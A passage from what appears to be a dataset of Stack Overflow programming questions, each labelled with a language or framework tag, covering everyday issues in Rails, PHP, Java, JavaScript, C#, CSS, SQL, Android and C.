probably more useful.   <pre><code> trashes get    /trashes(.:format)          trashes#index            post   /trashes(.:format)          trashes#create  new_trash get    /trashes/new(.:format)      trashes#new edit_trash get    /trashes/:id/edit(.:format) trashes#edit      trash get    /trashes/:id(.:format)      trashes#show            put    /trashes/:id(.:format)      trashes#update            delete /trashes/:id(.:format)      trashes#destroy       root        /                           trashes#index       page get    /pages/*id                  high_voltage/pages#show </code></pre>,ruby-on-rails
show a loading message while php is processing followed by a redirect to another page  i am trying to write a page in php which shows a loading message while it does some processing and then auto redirects to another page   <pre><code>&lt; php     //show a loading message - this is the bit i need help with     // do some processing - don t need help with this bit     header( location: http://www.mysite.com/mynextpage.php );     exit;  &gt; </code></pre>   i can t use echo or javascript otherwise i get a  cannot modify header information - headers already sent  error when the page executes.    any clues,php
confusion about creating a class array  suppose i have two classes in a java package:    <code>class1.java</code> and <code>class2.java</code>    so  if in <code>class1.java</code>  i do the following:   <pre><code>public class2[] qr;  public static int x = 10; </code></pre>   then later on somewhere in the code:   <pre><code>qr = new class2[x]; </code></pre>   so basically  i will be passing value 10 to class2   right  please correct me if i have not understood it properly.,java
css not rendering in ruby on rails  i m currently working through chapter 5 of michael hartl s tutorial.    so the home page of my app currently looks like this    (<a href= https://softcover.s3.amazonaws.com/636/ruby_on_rails_tutorial/images/figures/layout_no_logo_or_custom_css_bootstrap_rails_4.png  rel= nofollow >https://softcover.s3.amazonaws.com/636/ruby_on_rails_tutorial/images/figures/layout_no_logo_or_custom_css_bootstrap_rails_4.png</a>)    but it should look like this    (<a href= https://softcover.s3.amazonaws.com/636/ruby_on_rails_tutorial/images/figures/sample_app_only_bootstrap_4_0.png  rel= nofollow >https://softcover.s3.amazonaws.com/636/ruby_on_rails_tutorial/images/figures/sample_app_only_bootstrap_4_0.png</a>)    i updated my config/app file and added a custom css.scss file  but the css is not rendering as expected.    here is my gemfile   <pre><code>source  https://rubygems.org  ruby  2.0.0  #ruby-gemset=railstutorial_rails_4_0  gem  rails    4.0.8  gem  bootstrap-sass    2.3.2.0  gem  sprockets    2.11.0  gem  bcrypt-ruby    3.1.2  gem  faker    1.1.2  gem  will_paginate    3.0.4  gem  bootstrap-will_paginate    0.0.9   group :development  :test do   gem  sqlite3    1.3.8    gem  rspec-rails    2.13.1    # the following optional lines are part of the advanced setup.   # gem  guard-rspec    2.5.0    # gem  spork-rails    4.0.0    # gem  guard-spork    1.5.0    # gem  childprocess    0.3.6  end  group :test do   gem  selenium-webdriver    2.35.1    gem  capybara    2.1.0    gem  factory_girl_rails    4.2.0    gem  cucumber-rails    1.4.0   :require =&gt; false   gem  database_cleaner   github:  bmabey/database_cleaner     # uncomment this line on os x.   # gem  growl    1.0.3     # uncomment these lines on linux.   # gem  libnotify    0.8.0     # uncomment these lines on windows. gem  rb-notifu    0.0.4  gem  wdm    0.1.0  end  gem  sass-rails    4.0.1  gem  uglifier    2.1.1  gem  coffee-rails    4.0.1  gem  jquery-rails    3.0.4  gem  turbolinks    1.1.1  gem  jbuilder    1.0.2   group :doc do   gem  sdoc    0.3.20   require: false end  group :production do   gem  pg    0.15.1    gem  rails_12factor    0.0.2  end </code></pre>   config/application.rb file ... i added config.assets.precompile += %w(*.png *.jpg *.jpeg *.gif)  this may have caused the problem   <pre><code>require file.expand_path( ../boot   __file__)  # pick the frameworks you want: require  active_record/railtie  require  action_controller/railtie  require  action_mailer/railtie  require  sprockets/railtie  # require  rails/test_unit/railtie   # require the gems listed in gemfile  including any gems # you ve limited to :test  :development  or :production. bundler.require(*rails.groups)  module sampleapp   class application &lt; rails::application     # settings in config/environments/* take precedence over those specified here.     # application configuration should go into files in config/initializers     # -- all .rb files in that directory are automatically loaded.      # set time.zone default to the specified zone and make active record auto-convert to this zone.     # run  rake -d time  for a list of tasks for finding time zone names. default is utc.     # config.time_zone =  central time (us &amp; canada)       # the default locale is :en and all translations from config/locales/*.rb yml are auto loaded.     # config.i18n.load_path += dir[rails.root.join( my    locales    *.{rb yml} ).to_s]     # config.i18n.default_locale = :de     config.assets.precompile += %w(*.png *.jpg *.jpeg *.gif)   end end </code></pre>   app/assets/stylesheets/custom.css.scss   <pre><code>@import  bootstrap ; </code></pre>,ruby-on-rails
how to replace a double 2 consecutive quotes by a space in javascript  i have a string which represents  longitude/latitude in the following format:    dd°mm ss  w (note 2 single quotes after ss).    and i am using the following code to transform the string in its decimal representation:   <pre><code>function dmstodegrees(val) {     var s = val.replace( °      );     s = s.replace(        );     s = s.replace(         );     var tokens = s.split(   );     var result = number.parsefloat(tokens[0]) + number.parsefloat(tokens[1]) / 60 + number.parsefloat(tokens[2]) / 3600;     if (tokens[3] ===  w  || tokens[3] ===  s ) result = -result;     return result; } </code></pre>   however  it seems that <code>s = s.replace(         );</code> is not doing what is intended  and the the 2 single quotes ( ) are not replaced by a space. not sure what i am doing wrong here.    note that i have omitted all the error handling here.,javascript
weird title on inputs / textareas all around the web  when i mouse over many inputs and textareas <em>all over the web </em> i see some weird text.    <a href= https://i.stack.imgur.com/m4hue.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/m4hue.png  alt= issue on se ></a>    i thought it was on stackexchange only  but it happens on amazon:    <a href= https://i.stack.imgur.com/xrvc7.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/xrvc7.png  alt= on amazon  too ></a>    (note that you can t see my mouse in these pictures  it is not recorded in the screenshot  but it is on the upper-left of each hover text.    chrome s devtools shows a weird title attribute:    <a href= https://i.stack.imgur.com/qua8r.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/qua8r.png  alt= enter image description here ></a>    i have <strong>no idea</strong> why this happens. the websites i ve seen this on don t seem to have a library in common  so i doubt that would cause the problem. at the same time  i have seen this in browsers other than chrome  so i don t know. even the textarea that i m typing in <em>right now</em> has the problem.    <h1>why does this happen and how can i prevent it from happening to my website </h1>,html
how do you make transparent elements non-interactable   i m showing and hiding elements with a fade in / fade out effect.     <strong>css</strong>   <pre><code>.element {    opacity: 1.0;    transition: opacity 0.3s linear; }  .element.hidden {    opacity: 0.0; } </code></pre>   <strong>js</strong>   <pre><code>// hide $( someelement ).addclassname( hidden );  // show $( someelement ).removeclassname( hidden ); </code></pre>   the problem with this is that an invisible element still occupies space. if the user tries to click something beneath it  this invisible element intercepts the click and the user gets confused. is there a css property that will make the element non-interactable  i m aware there are some hacks like setting <code>top:-999em</code> in the <code>.hidden</code> class  but i m asking if you know any elegant solutions.,css
getting the value of an int array at an index in c#  i want to get the value of my integer array  at an index. the getvalue method refuses the int type.    what am i doing wrong    <pre><code>return locx.getvalue(ind); </code></pre>   ind is an integer  locx is declared like: <code>public int[] locx;</code>    i know i am doing something wrong. sorry for the noobiness of this question  i am kinda new to c#.,c#
if statement for three checkboxes javascript  i have recently started javascript at college and am having a little trouble. i am not including my code here as i dont want it written for me i just need some pointing in the right direction.    so  i have three checkboxes  each with a different value and i need to add together the values for the selected boxes. i understand how to do this but the way im doing it seems a bit long winded and im sure there is a better way.    currently i have an if statement checking if box1 box2 and box3 are selected  if they are then they are added  else if box 1 and box2 are selected they are added  else if box1 and box2 are selected they are added and so on.    so basically im checking every combination of what boxes can be selected  one at a time. there must be a more efficient way of achieving this so any tips would be appreciated. thanks in advance for any help.,javascript
giving a two dates (or two months) detect in what season we are in php  i would like to know if there is some easy way to identify seasons: spring  summer  autumn or winter. i m have to generate a  resume  and i d like that if a period of working roughly fits a season (not exactly but with a +/-10 days error for example) it returns spring  summer  autumn or winter.    like:   <ul> <li>input: 25/06/2010  30/09/2010</li> <li>output: summer 2010</li> </ul>   (in spain summer is between 21 july and 20 september)   <ul> <li>input: 02/02/2009  30/04/2010</li> <li>output: 2009-2010</li> </ul>   any idea  how to do this,php
html: what is the tag used for sub-dividing content area   quick question:    what is the tag called for sub-dividing content area   not for images  but for html content that with a title.  there is a specific tag for this  but i forgot what it is called.      <img src= https://i.stack.imgur.com/dztot.png  alt= enter image description here >,html
calling private method in c++  this is purely a theoretical question  i know that if someone declares a method private  you probably shouldn t call it. i managed to call private virtual methods and change private members for instances  but i can t figure out how to call a private non-virtual method (without using <code>__asm</code>). is there a way to get the pointer to the method  are there any other ways to do it     edit: i don t want to change the class definition! i just want a hack/workaround. :),c++
visual c++: exporting decorated function name in a def file  i want to export a decorated function name in a def file like this:   <pre><code>library example exports   0__non_rtti_object@std@@qae@abv01@@z=myfunc @1 </code></pre>   the problem is that the linker strips the function name at the first @-sign and places just    0__non_rtti_object  into the export table. my question is now  if there is a way to include the @-characters as well  i use visual studio 2010. maybe there is someone who can help me.    thanks in advance  hannes.,c++
$(this + selector )   $( img  this) possible   i m trying to  select  a img inside a $(this) selector. i know i can find it by using <code>.find( img )</code> but is this possible:    <code>$( img  this)</code>      what s the most optimal way to do this     originally code   <pre><code>&lt;a class= picture  href= test.html &gt;     &lt;img src= picture.jpg  alt= awesome &gt; &lt;/a&gt; </code></pre>,jquery
select all categories with topic and post count  i have categories with <code>id</code>  topics with <code>id</code> and <code>category</code>  and posts with <code>id</code> and <code>topic</code>. i d like to list categories along with the number of topics belonging to each category as well as number of posts belonging to topics belonging to those categories.    what i m using thus far to gather categories and their respective topic counts   <pre><code>select c.*  count(t.id) topics     from categories c     join topics t         on t.category=c.id     group by c.id </code></pre>   i ve tried the following  but it just gives me the same post and topic count   <pre><code>select c.*  count(t.id) topics  count(p.id) posts     from categories c     join topics t         on t.category=c.id     join posts p         on p.topic=t.id     group by c.id </code></pre>   trying <code>left join</code> doesn t seem to make any difference,mysql
how to allow for another index string to run a script  i have no script abilitiy  but i d like to edit an existing script which is currently restricting the script from running on any page other then the one that has a certain string in the url.    here is the snippet of the script which limits it from running   <pre><code>if(location.href.indexof( module=message )&gt;0||location.href.indexof( /message )&gt;0) </code></pre>   this only allows the script to run on these pages    <code>mysite/2014/home/11609 module=message1</code>    and the pages range from <code>message1</code> to <code>message20</code>    <code>mysite/2014/home/11609 module=message20</code>    i would like to also allow the script to be loaded and ran on these pages    <code>mysite/2014/options l=11609&amp;o=247&amp;seqno=1&amp;printer=1</code>    where the <code>seqno=1</code>  ranges from <code>1</code> to <code>seqno=20</code>  just like the <code>message1</code>-<code>message20</code> do     can someone show me how i can edit that small snippet of script to allow the <code>seqno</code> string found in the url to work also.    thanks,javascript
class  app\http\controllers\admin\auth  not found in laravel 5  i am getting error like class <strong> app\http\controllers\admin\auth  not found in laravel 5</strong> while login. i am new to laravel so please help me or give me some tutorial link for complete laravel application development with admin side     <strong>routes.php</strong>   <pre><code>route::group(array( prefix =&gt; admin ) function(){     route::get( login    admin\adminhomecontroller@showlogin );     route::post( check   admin\adminhomecontroller@checklogin );     }); </code></pre>   <strong>adminhomecontroller.php</strong>   <pre><code>&lt; php namespace app\http\controllers\admin;  use app\http\requests; use app\http\controllers\controller;  use illuminate\http\request;  class adminhomecontroller extends controller {      //      public function showlogin()     {         return view( admin.login );     }      public function checklogin(request $request)     {         $data=array(              username =&gt;$request-&gt;get( username )               password =&gt;$request-&gt;get( password )         );          if(auth::attempt($data))         {             return redirect::intended( admin/dashboard );         }         else         {             return redirect( admin/login );         }      }      public function logout()     {         auth::logout();         return redirect( admin/login );     }     public function showdashboard()     {         return view( admin.dashboard );     } } </code></pre>   <strong>login.blade.php</strong>   <pre><code>&lt;html&gt; &lt;body&gt;  {!! form::open(array( url  =&gt;  admin/check    id  =&gt;  login )) !!}                  &lt;input type= text  name= username  id= username  placeholder= enter any username  /&gt;                 &lt;input type= password  name= password  id= password  placeholder= enter any password  /&gt;                 &lt;button name= submit &gt;sign in&lt;/button&gt;          {!! form::close() !!} &lt;/body&gt; &lt;/html&gt; </code></pre>,php
tricky sql count (i think)  been trying all the examples and help from others that people have been posting.    can t get it too work.    basically i have    these fields and variables   <pre><code>[ref]  [status]  [date]  [manager] 1       review    121220   george 2       closed    121220   george 2       closed    122200   george </code></pre>   i want the output to give me the reference # and the amount of times it was closed so i can join onto another dataset.    so   <pre><code>ref timesclosed 1       null/0  2       2 </code></pre>   is this possible,sql
8 queens - calculating number of queens per row  i am tackling the 8 queens problem  and i am struggling with counting the number of queens that are on each row. queens are represented by 1 s. my program initially places all 8 queens randomly on the board to start  but there is something wrong with my results (which i call h for heuristic. for example  if i have only one 1 on a row  h should = 0 ( because this means no conflicts)  but if there are two 1 s on a row  then my h should = 1 for that row. after i iterate through all of the rows it is to return the total h value  but i am getting numbers that don t make sense. when i run it  i get h = 0  even though i may have 2 or 3 queens residing on the same row. what am i doing wrong  (if you need me to put up all of my code  i am more than happy to)   <pre><code>public void computeheuristic(){  //calculate heuristic value for whole board rows and diags      int h = 0;     int row = 0;     int queen = 0;     //int numqueens = 0;     //rows      while(row &lt;= 7 ){//increment row upto 7         for(int j = 0; j &lt; 8; j++){                          h += board[row][j];               row++;               }     }     system.out.print( h:   + h +  \n ); } </code></pre>,java
how to fill effect text box in word document using c#   i want to insert text from <strong>textbox</strong> in a word document using <strong>c#</strong> and <strong>spire.dll</strong>  tools  but when i using code <code>filleffects</code> not worked same this code   <pre><code> textbox.format.fillefects.gradient.color1 = color.red;  textbox.format.fillefects.gradient.color2 = color.yellow;  textbox.format.fillefects.gradient.shadingstyle = gradientshadingstyle.diagonalup; </code></pre>   the code is correct and my program is build correct  but it not make any changes for <strong>textbox</strong> and if i  want to fill effect with picture it not worked else like this code   <pre><code>textbox.format.fillefects.picture = picturebox1.image; </code></pre>   i attach to you my small project to see why this code not worked,c#
image and div - side by side  i would like to create a set up where there is an image on the left and and div on the right. i am using float left to accomplish this but i would like the right div to have the same height as the image on the left and for the text to be centered vertically.    here is a <a href= http://jsfiddle.net/klexs/  rel= nofollow >jsfiddle</a>   <pre><code>&lt;img class= half  src= http://placekitten.com/200/300 &gt; &lt;section class= articlename &gt;gangstas drinkin&lt;/section&gt;    ...  .half{float:left;width:50%;} .articlename{width:50%;background-color:black;float:left;color:white;} </code></pre>   so to recap i want the cat to be 50% of the page and the other 50% to be black with the text and the right side needs to match the height of the image.     is this possible,css
javascript library  how to return if no action  im making a small library that will help small/large functions in my library... it all works fine but if i just want to return the object i want to do it like so <code>_( .class );</code> just like jquery s one...    this is the base code for my one...   <pre><code>var test = function(elm){                 if(elm != undefined){                     test.domselection(elm);                 }                   return {                     html:function(newhtml){                         return test.html(newhtml);                     }                 };             }; </code></pre>   how can i test if anything is at the end after the selector like _( .class ).bla &lt;-- this bla is at the end... how do i test if their is anything there,javascript
internalsvisibleto publickey is ignored  i have two strong named assemblies a.dll and b.dll. a.dll has internal classes. b.dll uses internal classes from a.dll.  i use    <pre><code>[assembly: internalsvisibleto( b publickey=[public key of b.dll] )] </code></pre>   in a.dll.  it works fine  i can use internal classes from a.dll in b.dll. when i change assembly name in internalsvisibleto it stops working  as expected  but if i change only a public key (set wrong public key) it continue working  so it ignored publickey parameter.    i use assembly.load  for loading assembly.    what is the problem or internalsvisibleto not sensitive to publickey,c#
can i use jquery to run a php file on my server  without using post or get   the information needed by my php script is already in the $_session variable  so i don t need to pass anything along to the server. i just need the php file to run.    right now i m using jquery s post method. i m passing along a fake post variable (whatever:  you want ) to make the browser happy. is there a cleaner way to do this     thanks!,jquery
mail could not send through iphone sdk   i want to send mail through iphone sdk i know there are lots of answers here on stack overflow but it does not work  i downloaded the mail composer app from apple site and ran in my simulator  it displaye that mail has been sent but i dont get it on my email address,iphone
account as top level directory in rails  there are a lot of articles in the net about dealing with subdomain accounts in rails. see <a href= http://robbyonrails.com/articles/2009/01/11/subdomain-accounts-with-ruby-on-rails-explained  rel= nofollow noreferrer >this</a> for example. however  i cannot find a simple way of making an account key as the top-level directory of the url. that is  i want to convert my    <a href= http://account.domain.tld  rel= nofollow noreferrer >http://account.domain.tld</a> url to    <a href= http://domain.tld/account  rel= nofollow noreferrer >http://domain.tld/account</a>    so far  the best all-around gem i ve come so far to dealing with this is <a href= http://github.com/svenfuchs/routing-filter/tree/master  rel= nofollow noreferrer >routing filter</a>.     any other ideas,ruby-on-rails
nsmutable memory issues for iphone  i am using this a1 = [[nsmutablearray alloc] init]; now what should be the <strong>best way to release a1</strong>    right now i am releasing in dealloc()    <strong>i am allocation a1 in viewdidload() and displaying 10 images there</strong>,iphone
necklace application  i created a necklace class with a static method that determines how many numbers the necklace sequence must generate to return to the original two numbers. also the method called howlong that takes as parameters the first two items in the sequence. it generates a necklace sequence and return how many numbers must be generated to return to the original two numbers. i did not count the first two numbers in my total but did count them the final time they are generated. as you can see the code below i am printing something in the howlong method <em>system.out.print(two +    );</em>  but it should not print anything. it should use a main method that calls howlong and prints the results. how can i do it    <pre><code>import java.util.scanner; public class necklace {     public static int howlong (int firststarting  int secondstarting) {          int sum = 0;         int temp;         int one = firststarting;         int two = secondstarting;          do{             temp = (one + two) % 10;             one = two;             two = temp;             system.out.print(two +    );         }while (two != secondstarting || one != firststarting);          return (sum);     }     public static void main (final string[] args) {          int total;         int first;         int sec;          scanner in = new scanner (system.in);         system.out.print( enter the first starting number:  );         first = in.nextint();          system.out.print( enter the second starting number:  );         sec = in.nextint();          total = howlong (first  sec);     }    } </code></pre>,java
how to change button text using static function   i need to change a button text using an static function.   <pre><code>static string[] array = new string[10]; [stathread] static void main() {     string[] args = environment.getcommandlineargs();     for (int i = 1; i != args.length; ++i)     {         command(i.tostring());         array[0] = i.tostring();      }     application.enablevisualstyles();     application.setcompatibletextrenderingdefault(false);     application.run(new form1()); }  static void command(string line) {     button1.text = array[0]; // here error } </code></pre>,.net
client side script for treeview events  i have a treeview with  populateondemand  set to true. i want this treeview to keep its state (nodes expanded/collapsed) from one page to another. viewstate doesn t work because the treeview is different for each page. here is my code at the moment.    aspx page :   <pre><code>&lt;asp:treeview           id= arbre            enableviewstate= true            populatenodesfromclient= true            runat= server  /&gt; </code></pre>   code behind :   <pre><code>protected sub arbre_treenodecollapsed(byval sender as object  byval e as system.web.ui.webcontrols.treenodeeventargs) handles arbre.treenodecollapsed     ctype(session( listenoeudsouverts )  hashtable)(e.node.value) = true end sub  protected sub arbre_treenodeexpanded(byval sender as object  byval e as system.web.ui.webcontrols.treenodeeventargs) handles arbre.treenodeexpanded     ctype(session( listenoeudsouverts )  hashtable)(e.node.value) = false end sub   protected sub arbre_treenodepopulate(byval sender as object  byval e as system.web.ui.webcontrols.treenodeeventargs) handles arbre.treenodepopulate     // code to populate nodes     ctype(session( listenoeudsouverts )  hashtable)(e.node.value) = true end sub  protected sub page_load(byval sender as object  byval e as system.eventargs) handles me.load     if session( listenoeudsouverts ) is nothing then         session( listenoeudsouverts ) = new hashtable()     end if     // other stuff end sub </code></pre>   this works well  buf i wish i could avoid the postback everytime the user expands or collapses a node. i know i can set enebleclientscript to true and manage the events client side in javascript but i won t be able to use my session variable anymore. is there a way to achieve this      thank you,asp.net
how to rotate polygon with given angle in google map android  i<a href= https://i.stack.imgur.com/vl2a5.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/vl2a5.png  alt= enter image description here ></a>    i am working on the app where i have to draw multiple fixed size polygons on click lets consider for example 10 x 25. so that i have archived successfully now i need to rotate the selected polygon at given angle ( let consider 0 to 360 ) when i click on + button the polygon should rotate in right direction with adding 1 degree angle  similarly clicking on - button should rotate polygon in left direction anyone have idea how to achieve this      adding some code for the consideration.   <pre><code>public void drawpolygonwithgivendimention(latlng latlng float width float  height float innerdistance boolean forupdate int id) {     model = new modelmarker();      model.setid(id);      // paras outer polygon     location clickedpoint = new location( clicked );     clickedpoint.setlatitude(latlng.latitude);     clickedpoint.setlongitude(latlng.longitude);      latlng latlng0 = new latlng(clickedpoint.getlatitude()  clickedpoint.getlongitude());     pointlist.add(latlng0);      location loc1 = locationforangle(0.0f  clickedpoint  width);     latlng latlng1 = new latlng(loc1.getlatitude()  loc1.getlongitude());     pointlist.add(latlng1);      location loc2 = locationforangle(90.0f  loc1  height);     latlng latlng2 = new latlng(loc2.getlatitude()  loc2.getlongitude());     pointlist.add(latlng2);      location loc3 = locationforangle(180.0f  loc2  width);     latlng latlng3 = new latlng(loc3.getlatitude()  loc3.getlongitude());     pointlist.add(latlng3);      model.setpointlist(pointlist);       // paras inner polygon     location locperi = locationforangle(0.0f clickedpoint innerdistance);//change\     locperi = locationforangle(90.0f  locperi innerdistance);      latlng latlng10 = new latlng(locperi.getlatitude()  locperi.getlongitude());     pointlistinner.add(latlng10);      location loc11 = locationforangle(0.0f  locperi  width-innerdistance*2);     latlng latlng11 = new latlng(loc11.getlatitude()  loc11.getlongitude());     pointlistinner.add(latlng11);      location loc12 = locationforangle(90.0f  loc11  height-innerdistance*2);     latlng latlng12 = new latlng(loc12.getlatitude()  loc12.getlongitude());     pointlistinner.add(latlng12);      location loc13 = locationforangle(180.0f  loc12  width-innerdistance*2);     latlng latlng13 = new latlng(loc13.getlatitude()  loc13.getlongitude());     pointlistinner.add(latlng13);     model.setpointlistinner(pointlistinner);      drawouterpolygon(forupdate); }   private void drawouterpolygon(boolean forupdate) {     try     {         pointlist = model.getpointlist();         polygon poligone;         polygonoptions polygoneoptions = new polygonoptions();         polygoneoptions.addall(pointlist);         polygoneoptions.strokewidth(2);         polygoneoptions.strokecolor(color.black);          polygoneoptions.fillcolor(drawcolor);          poligone = googlemap.addpolygon(polygoneoptions);         poligone.setclickable(true);         if(forupdate)             polygons.set(selectedmarkerposition poligone);         else             polygons.add(poligone);           model.setpolygon(poligone);         model.setpolygons(polygons);          drawinnerpolygon(forupdate);         //getcenterpoint();      }     catch (exception e)     {         e.printstacktrace();     }  }   public location locationforangle(float angle location center float distances) {     //in yard 6975174.98 radius of earth     double distanceradians = distances / 6967410.0; // yards     //6 371 = earth s radius in km     double bearingradians = deg2rad(angle);     double fromlatradians = deg2rad(center.getlatitude());     double fromlonradians = deg2rad(center.getlongitude());     double tolatradians = math.asin( math.sin(fromlatradians) * math.cos(distanceradians)+ math.cos(fromlatradians) *  math.sin(distanceradians) * math.cos(bearingradians) );     double tolonradians = fromlonradians + math.atan2(math.sin(bearingradians) * math.sin(distanceradians) * math.cos(fromlatradians)  math.cos(distanceradians)- math.sin(fromlatradians) * math.sin(tolatradians));     // adjust tolonradians to be in the range -180 to +180...     tolonradians = math.ieeeremainder((tolonradians + 3*m_pi)  ((2*m_pi)) - m_pi);     location result = new location(  );     result.setlatitude(rad2deg(tolatradians));     result.setlongitude(rad2deg(tolonradians));     return result; }  double m_pi  = 3.14159265358979323846264338327950288;  public double deg2rad(double degrees) {     return  (degrees * (m_pi/180)); } public double rad2deg(double radians) {     return  (radians * (180/m_pi)); } </code></pre>,android
access rendered element in angularjs  i am trying to accesss into a rendered element from angularjs. basically i would like to do something like this:    <strong>app.js</strong>   <pre><code>(function() { var app = angular.module( project   []); **var data =  ${renderedelement} ;**    app.controller( projectcontroller   function(){   .....   });   })(); </code></pre>   if i put this code directly into the html it works... but i would like to put it into a proper app.js.    does someone have an idea  thanks!,angularjs
how you can sort by id with where  and return only the most recent result  i could not find this question when i searched for it  so below is my answer with how i did a mysql query with a <code>where</code> statement  and returned only the <strong>last result.</strong> in this case  i sorted by my primary key  named  id.,mysql
i m getting the wrong output from a program example in k & r chapter 1.6  i know there is another question on the same example  but for different issue.    this is the code example:   <pre><code>#include &lt;stdio.h&gt; /* count digits  white space  others */ main() {     int c  i  nwhite  nother;     int ndigit[10];     nwhite = nother = 0;      for (i = 0; i &lt; 10; ++i)         ndigit[i] = 0;      while ((c = getchar()) != eof)         if (c &gt;=  0  &amp;&amp; c &lt;=  9 )             ++ndigit[c- 0 ];         else if (c ==     || c ==  \n  || c ==  \t )             ++nwhite;         else             ++nother;      printf( digits = );      for (i = 0; i &lt; 10; ++i)         printf(  %d   ndigit[i]);      printf(   white space = %d  other = %d\n   nwhite  nother); } </code></pre>   after i run is and execute the program with <img src= https://i.stack.imgur.com/o1yff.gif  alt= ctrl + d >  i get: digits = 0 0 0 0 0 0 0 0 0 0  white space = 0  other = 0. from xcode...    but in the book they say  the output of this program on itself is: digits = 9 3 0 0 0 0 0 0 0 1  white space = 123  other = 345     can you tell me whats going on please..tnx.,c
convert 2017-01-24t23:25:39 into datetime object  i have weird date format in logs: <code>2017-01-24t23:52:14</code>    i am trying to convert this string into datetime python object like this:    <code>date_from_log = datetime.strptime( 2017-01-24t23:52:14    %y-%m-%dt%i:%m:%s )</code>    but i get:    <code>valueerror: time data   2017-01-24t23:25:39   does not match format  %y-%m-%dt%i:%m:%s </code>    what is wrong,python
css file is not being updated after clearing cache  i did the following: 1. clearing cache (press ctrl + f5). 2. remove css file and then upload again.  3. checked updated css file manually. 4. i remove browser data from chrome setting    from the above test it should load updated css. but it is being loaded old css.  here is the old link: <a href= http://demo.voberhat.com/wp-content/themes/bootstraplight/style.css ver=4.9.6  rel= nofollow noreferrer >http://demo.voberhat.com/wp-content/themes/bootstraplight/style.css ver=4.9.6</a>    i can see update at : <a href= http://demo.voberhat.com/wp-content/themes/bootstraplight/style.css  rel= nofollow noreferrer >http://demo.voberhat.com/wp-content/themes/bootstraplight/style.css</a>    meaning version change may be the trick. but why should i change version just to add one line css  any idea,css
how to use an extend searchview in fragment  i want to extend the searchview class to override the onkeydown() method. so i do it within my fragment class as below :   <pre><code>public class myfragment extends listfragment{ ... class customsearchview extends searchview{     public customsearchview(context context) {         super(context);     }             public customsearchview(context context  attributeset attrs) {         super(context  attrs);     }      @override     public boolean onkeydown(int keycode  keyevent event){         toast.maketext(getactivity()   onkeydown   toast.length_short).show();         return super.onkeydown(keycode  event);     } } ... } </code></pre>   now i want to make use of this extended searchview in the fragment. but i am not sure how to do that. since i create the searchview object using searchitem.getactionview()  is there some way i can cast it to a customsearchview object so that the overriden onkeydown method gets triggered in my fragment    <pre><code>@override     public void oncreateoptionsmenu(menu menu  menuinflater inflater) {     ...              // retrieves the system search manager service             final searchmanager searchmanager =                     (searchmanager) getactivity().getsystemservice(context.search_service);              // retrieves the searchview from the search menu item             final searchview searchview = (searchview) searchitem.getactionview();              // assign searchable info to searchview             searchview.setsearchableinfo(                     searchmanager.getsearchableinfo(getactivity().getcomponentname()));              searchview.setonquerytextlistener(new searchview.onquerytextlistener() {                 @override                 public boolean onquerytextsubmit(string querytext) {                     // nothing needs to happen when the user submits the search string                     return true;                 }                  @override                 public boolean onquerytextchange(string newtext) {                     ...                 }             }); </code></pre>   this question popped up because of the solution mentioned at <a href= https://stackoverflow.com/questions/13626756/how-can-i-get-onbackpressed-action-while-searchview-is-activated >how can i get onbackpressed() while searchview is activated </a>,android
objective -c : how to avoid a collision between two ball   i m new here    i should programming a game with two balls the first is controlled by the user and the second should be programming . i don t know how to ensure that the second ball prevents the ball from the user  i am a intermediate. can you help me. i have a code to change :`cgrect tablerect = self.view.bounds;     cgrect enemyrect = self.enemy.frame;   <pre><code>if (cgrectgetminx(enemyrect)&lt;cgrectgetminx(tablerect) ||     cgrectgetmaxx(enemyrect)&gt;cgrectgetmaxx(tablerect)) {     playervalue++;     playerlabel.text = [nsstring stringwithformat: @ %d   playervalue];     enemylabel.text = [nsstring stringwithformat: @ %d   enemyvalue];     movex = -movex;  } if (cgrectgetminy(enemyrect)&lt;cgrectgetminy(tablerect) ||     cgrectgetmaxy(enemyrect)&gt;cgrectgetmaxy(tablerect)) {     playervalue++;     playerlabel.text = [nsstring stringwithformat: @ %d   playervalue];     enemylabel.text = [nsstring stringwithformat: @ %d   enemyvalue];     movey = -movey; } cgpoint center = enemy.center; center.x += movex; center.y += movey; enemy.center = center; [self performselector:@selector(move) withobject:nil afterdelay:timerintervale];   if (cgrectintersectsrect(enemyrect  player.frame)) {     cgrect frame = [player frame];     frame.origin.x = 137.0f;     frame.origin.y = 326.0;     [player setframe:frame];      cgrect frame2 = [enemy frame];     frame2.origin.x = 137.0f;     frame2.origin.y = 20.0;     [enemy setframe:frame2];     enemyvalue++;     playerlabel.text = [nsstring stringwithformat: @ %d   playervalue];     enemylabel.text = [nsstring stringwithformat: @ %d   enemyvalue];  }` </code></pre>   i want know if i do change the code or add lines. thanks you very much for help me.    addgame,ios
overload operator+(int) with number before object  i have a vec2 class  defined like this   <pre><code>class vec2 { public:     float x  y;      ...      //add a scalar     vec2 operator+(float s) const {             return vec2(this-&gt;x + s  this-&gt;y + s);         } }; </code></pre>   the operator+ overload works good when doing <code>vec2 v = othervector * 2.0f;</code> but doesn t work when doing it backwards  like so <code>vec2 v = 2.0f * othervector;</code>.    what s the solution to this,c++
counting down in increments of 5  i am having difficulties using a while loop to count down from the starting number 100. i need to count down in increments of 5  and display each result until i reach 20.    <pre><code>#include &lt;stdio.h&gt;  void count_down( void ) {      // declare an integer variable that you will use to count. initially      //     the counter should equal the start value  100.     int counter = 100;     printf(counter);     // begin a while statement that will execute its loop body if the counter      // is greater than the end value  20.      while (counter &lt; 20) {         // print the value of the counter on a line by itself.         printf(counter);         // subtract 5 from the counter.         int new_number = counter - 5;         printf(new_number);     } }   int main( void ) {     count_down();     return 0; } </code></pre>,c
filter_var function vs reg. expressions  i think this is probably a fairly easily answered question:    im new to regular expressions in general  but i have recently heard that filter_var is almost replaceing the expressions.      i can see  after looking at the function  that i could validate emails in general.  but is there capabilities to narrow the validation     my issue is im trying to validate an email to only return true if it ends in @boisestate.edu or @u.boisestate.edu.  i cant seem to figure out if filter_var has those kinds of specific capabilities.  any help would really be appreciated!  also  if you have a reg expression or filter_var function that would suit this validation...id really appreciate it!,php
